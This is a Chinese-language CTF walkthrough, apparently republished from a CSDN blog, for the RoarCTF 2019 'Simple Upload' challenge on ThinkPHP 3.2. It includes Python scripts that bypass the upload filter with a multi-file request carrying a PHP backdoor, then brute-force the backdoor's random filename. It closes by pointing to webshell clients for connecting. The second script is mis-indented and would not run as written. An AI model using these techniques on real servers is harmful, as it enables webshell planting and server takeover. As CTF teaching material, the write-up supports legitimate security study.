ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

WEB漏洞攻防 - 文件上传漏洞 - CTF比赛类应用场景 - [RoarCTF 2019]Simple Upload

2021-09-03 20:33:43  阅读:229  来源: 互联网

标签:文件 RoarCTF WEB -- URL 漏洞 url requests 上传


思考:在实际应用场景中,常规类的文件上传、CMS类的文件上传、编辑器的上传或者CTF比赛中的文件上传应用场景都有不同的差异;总结下来就是,文件上传不管是发现还是利用上都会根据产生层面而不同,常规类无资料的情况下采用常规思路测试,有资料的情况下直接参考资料进行即可。

https://buuoj.cn/challenges


在这里插入图片描述


注意:该题的过关技巧其实和普通的文件上传漏洞利用其实并不形同,考核的核心其实更多的是对 “ThinkPHP” 的理解以及代码审计。这里我们主要讲解的仍然是思路。[不得不腹诽一下,CTF的考点有的时候真的是千奇百怪让人脑壳疼…]

还是先看一下题目吧。

从代码开头部分的 use Think\Controller; 我们就知道这是一段 "ThinkPHP"框架的代码。

这里我们需要了解的是 “ThinkPHP” URL 的访问模式。


在这里插入图片描述


在这里插入图片描述


现在我们去搜索 “ThinkPHP3.2版本” 开发手册,找到 URL 模块的相关文档,了解 “ThinkPHP3.2版本” 如何通通过 URL 对应的代码关系请求到访问的文件


在这里插入图片描述


从 “ThinkPHP3.2版本” 开发手册中我们了解到 “PATHINFO模式” 是系统的默认 URL 模式,提供了最好的 SEO 支持,系统内部已经做了环境的兼容处理,所以能够支持大多数的主机环境。

PATHINFO地址的前三个参数分别表示模块/控制器/操作。

示例:http://localhost/index.php/home/user/login?var=value

参考上面的 URL 链接

模块				--> home
控制器			--> user
操作方法			--> login
变量				--> var
变量可控参数		--> value

那么我们题目中的模块、控制器、操作呢?

模块 		--> home
控制器 		--> IndexController
操作方法		--> upload
变量			--> uploadFile
变量可控参数		--> $_FILES['file']

尝试构造一个可访问 操作方法 upload 的URL

https://b2f55cd3-1d7b-449a-963a-557ca9332683.node4.buuoj.cn/index.php/home/index/upload

通过提示,我们得知该 URL 就是一个可以上传 upload 的操作方法,执行上传文件操作的 URL地址。


在这里插入图片描述


那么思路就来了,我们可以根据在代码中得到的提示,通过脚本构造一个 FILES 的传输变量去上传文件,同时代码中因为没有构造 upload 的参数是可以进行多文件上传的,再结合验证过滤只过滤了一次的情况,我们可以一次性传输多个文件上模拟提交去绕过它的过滤验证,将我们的后门脚本传上去。

构造POST请求,模拟上传操作的过滤,上传脚本文件。

import requests
url='http://b2f55cd3-1d7b-449a-963a-557ca9332683.node4.buuoj.cn/index.php/home/index/upload'
file1={'file':open('f:\\1.txt','r')}
file2={'file[]':open('f:\\1.php','r')}
r = requests.post(url,files = file1)
print(r.text)
r = requests.post(url,files = file2)
print(r.text)
r = requests.post(url, files = file1)
print(r.text)


# 导入 requests 库
# 设置 url 和 file1、file2 变量
# file1、file2 变量为本地文件,其中 file2 为后门脚本文件
# 模拟 psot 请求过滤文件上传
# 输出上传结果

在这里插入图片描述


这里我们看到已经绕过过滤成功上传了后门脚本文件,但是同样发现了问题,就是后门脚本文件上传成功后的并没有返回生成的随机数文件名.

因为我们上传了三个文件,第一个和第三个都有返回随机数文件名[后门脚本没有返回的原因是因为过滤的函数造成的,不需要太多的纠结]。我们可以通过观察第一和第三个文件的随机文件名发现一定的规律。见下图


在这里插入图片描述


我们发现文件名的前八位数是相同的,而后面的五位数则不同 分别是 18255、3c212。

在 16进制 当中 a=10、b=11、c=12,那么我们可以确定的是 3c212其实就是 42212。

这说明我们上传的后门脚本文件前八位也是另外两个文件相同,而后五位数则是在 18255-42212之间,这样我们就可以构建请求包不停的去请求,当某个请求相应的状态为 200 时,则说明该状态下的文件就是我们上传的后门脚本。

请求脚本如下

import requests
import time
for i in range(18255,42212,1):
    url='http://b2f55cd3-1d7b-449a-963a-557ca9332683.node4.buuoj.cn/Public/Uploads/2021-03-14//604e106'
    urls=url+str(i)+'.php'
    #print(str(i))
    code=requests.get(urls).status_code
if code=='200':
break
    print(urls+'->'+str(code))
    time.sleep(0.2)

# 导入requests、time库
# 设置一个循环 循环1次在 18255 - 42212 之间
# 设置 ulr 链接 拼接访问 18255 - 42212 
# 当访问 url 链接的响应状态 为 200 的时候,返回 url 地址与 状态码的拼接

在这里插入图片描述


这样就可以得到我们的后门脚本的访问地址了,然后利用菜刀、蚁剑或者其他 shell 链接工具就可以连上后门了。

标签:文件,RoarCTF,WEB,--,URL,漏洞,url,requests,上传
来源: https://blog.csdn.net/weixin_42250835/article/details/120089518

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有